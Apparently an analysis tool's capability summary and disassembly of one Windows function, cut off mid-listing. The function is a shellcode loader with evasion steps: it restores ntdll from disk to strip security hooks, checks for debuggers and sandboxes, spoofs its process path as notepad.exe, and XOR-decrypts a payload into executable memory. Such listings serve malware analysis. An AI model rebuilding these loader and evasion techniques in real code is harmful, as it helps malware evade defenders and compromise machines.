Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002b20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
mov dword [rbp + 0x864], 0xffffffff
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7e4], eax
mov ecx, dword [rbp + 0x7e4]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x7e4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7e4]
movq xmm0, rax
call fcn.140003d50
movq rax, xmm0
mov qword [rbp + 0x7d8], rax
cmp dword [rbp + 0x864], 0x15a
jle 0x14000153e
cmp qword [rbp + 0x868], 0
je 0x140001897
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
mov rax, qword [rbp + 0x7e8]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x7d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov qword [rbp + 0x7a8], rax
mov word [rbp + 0x862], 0
jmp 0x14000187f
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x862]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x85c], 0x32a
mov dword [rbp + 0x858], 0x82
jmp 0x140001776
mov eax, dword [rbp + 0x85c]
cmp eax, dword [rbp + 0x858]
jle 0x14000176f
sub dword [rbp + 0x85c], 1
jmp 0x140001776
sub dword [rbp + 0x858], 1
cmp dword [rbp + 0x85c], 0
jg 0x140001758
mov rax, qword [rbp + 0x7a0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000186e
mov dword [rbp + 0x624], 0
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x624]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x624]
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x624]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x862]
add eax, 1
mov word [rbp + 0x862], ax
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x862], ax
jb 0x140001706
mov ecx, 0xb14
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x854], 0
jmp 0x140001940
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x2c4
jle 0x1400018b7
mov dword [rbp + 0x854], 0
jmp 0x140001a6c
mov dword [rbp + 0x684], 0
jmp 0x140001a4e
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x684]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001a47
mov eax, dword [rbp + 0x684]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x680], xmm0
mov eax, dword [rbp + 0x854]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0x684]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x684]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
movss xmm0, dword [rbp + 0x680]
movss dword [rax], xmm0
add dword [rbp + 0x854], 1
mov eax, 0x2c4
sub eax, dword [rbp + 0x854]
cmp dword [rbp + 0x684], eax
jl 0x14000196e
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x2c4
jle 0x14000195f
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x62c], 0
mov rax, qword [rbp + 0x7f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
lea rax, [rbp + 0x62c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x790]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x638]
add rax, 0x3c
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x850], 0xffffffff
mov ecx, 0x7b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
add dword [rbp + 0x850], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x780]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x850], 0xf5
jle 0x140001b19
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x788]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x848], 1
jmp 0x140001cc2
mov dword [rbp + 0x84c], 0
mov eax, dword [rbp + 0x848]
mov dword [rbp + 0x844], eax
jmp 0x140001c98
mov edx, dword [rbp + 0x844]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x688], edx
mov eax, dword [rbp + 0x688]
imul eax, eax
imul eax, dword [rbp + 0x688]
add dword [rbp + 0x84c], eax
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0
jne 0x140001c2d
mov eax, dword [rbp + 0x84c]
cmp eax, dword [rbp + 0x848]
jne 0x140001cbb
mov eax, dword [rbp + 0x848]
mov dword [rbp + 0x68c], eax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x1b3
jle 0x140001c15
mov dword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x628]
mov r8, qword [rbp + 0x778]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x628]
cmp eax, 1
je 0x140002a4c
mov qword [rbp + 0x770], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x768]
mov r9d, 0x3000
mov r8d, 0x385
mov edx, 0
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002a4c
mov qword [rbp + 0x760], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x758]
mov r9d, 0x3000
mov r8d, 0x3da
mov edx, 0
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x140002a4c
mov dword [rbp + 0x620], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x620]
mov r8, qword [rbp + 0x750]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x620]
cmp eax, 1
je 0x140002a4c
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
jne 0x140002a4c
mov ecx, 0x6f3
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6f3
jne 0x140002a4c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x744], 0x294
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x744]
mov r8, qword [rbp + 0x738]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x262
jbe 0x140002a4c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov ecx, 0x21f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x1ed
jbe 0x140002a4c
mov qword [rbp + 0x838], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x1400020c9
mov rax, qword [rbp + 0x710]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x708]
mov r9d, 0x3000
mov r8d, 0x315
mov edx, 0
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140002a4c
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x140002a4c
lea rax, [rbp + 0x140]
lea rdx, str.b_n7e
mov ecx, 0x9a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x834], 0
jmp 0x1400021a7
call sub.msvcrt.dll_rand
mov edx, eax
shl edx, 3
sub edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbp + 0x690], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xf4
jle 0x140002165
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f8]
mov r8d, 0
mov edx, 0x4d4
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r9, qword [rbp + 0x6f0]
mov r8d, 0x4d4
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6e0]
mov r9, qword [rbp + 0x6d8]
mov r8d, 0x4d4
mov rcx, rax
call r9
mov dword [rbp + 0x828], 0
mov ecx, 0xbb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x830], 0
jmp 0x14000230d
mov dword [rbp + 0x82c], 0
jmp 0x1400022fd
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x1a6d01a7
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x26c
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xa
jle 0x140002292
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x43
jle 0x140002286
mov dword [rbp + 0x830], 0
jmp 0x14000239a
mov dword [rbp + 0x82c], 0
jmp 0x14000238a
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x828]
mov eax, dword [rbp + 0x830]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x828], eax
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xa
jle 0x140002332
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x43
jle 0x140002326
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 0
movabs rax, 0x10f433a201e59b14
movabs rdx, 0xd36cacd8a7a4aab5
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd75f6c00c6010bf7
movabs rdx, 0x7f0549e449e2729d
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x6a543599c7a1c4fa
movabs rdx, 0x5b5f0587145260d3
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x5c1e9909d0c1d0d7
movabs rdx, 0xe9543c6e48414ed
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x5e724d5a744ab5c8
movabs rdx, 0x2b87e3efccc1abd6
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x9c11b20fe4442c13
movabs rdx, 0x8824dab707a6877e
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x435e6a089fe88490
movabs rdx, 0x4a466b42c2bf1756
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x1f3cbaf6fa4cb6
mov qword [rbp + 0x130], rax
movabs rax, 0x5947b44e9ed0e19d
movabs rdx, 0x1d367e93f0677b54
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x72da5e9120a8696c
movabs rdx, 0xe1bf4f789cce0ffe
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x97434e97d1a03900
movabs rdx, 0xefce41a70d5da1dd
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x8e8adba7befeb67
movabs rdx, 0x5e6c55c9188ed3c1
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x9776f334325d96de
movabs rdx, 0x6e8aaa2893b39466
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xb81f76cd3639b253
movabs rdx, 0xfeb1e40a2887778c
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x91fb4b063c62add
movabs rdx, 0xe9946e2a10a71e86
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], 0x5a3b20
mov dword [rbp + 0x6cc], 0
mov dword [rbp + 0x810], 0
mov ecx, 0x1020
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x818], 0
jmp 0x140002688
mov dword [rbp + 0x814], 0
jmp 0x140002674
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x818]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x6c0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000266d
add dword [rbp + 0x810], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x17
jle 0x1400025dd
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x2a
jle 0x1400025ce
cmp dword [rbp + 0x810], 0x204
jne 0x1400026ab
mov dword [rbp + 0x6cc], 1
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002800
cmp dword [rbp + 0x820], 0x72
jne 0x1400027c7
mov eax, dword [rbp + 0x824]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x820]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x824]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x80c], 0xffffffff
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
add dword [rbp + 0x80c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movsd xmm1, qword [0x140006610]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x698]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x80c], 0x3db
jle 0x140002712
mov dword [rbp + 0x820], 0
jmp 0x1400027f9
mov eax, dword [rbp + 0x824]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x820]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x824]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x820], 1
add dword [rbp + 0x824], 1
mov eax, dword [rbp + 0x824]
cmp eax, 0x76
jbe 0x1400026bf
mov dword [rbp + 0x824], 0
jmp 0x1400028bd
cmp dword [rbp + 0x81c], 0x76
jne 0x140002871
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x81c]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x81c], 0
jmp 0x1400028b6
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x81c]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x824]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x81c], 1
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x4d3
jle 0x14000281e
mov rax, qword [rbp + 0x6e0]
mov qword [rbp + 0x6b8], rax
mov ecx, 0xe80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x808], 0
jmp 0x1400029b2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002981
add dword [rbp + 0x804], 1
jmp 0x1400029ab
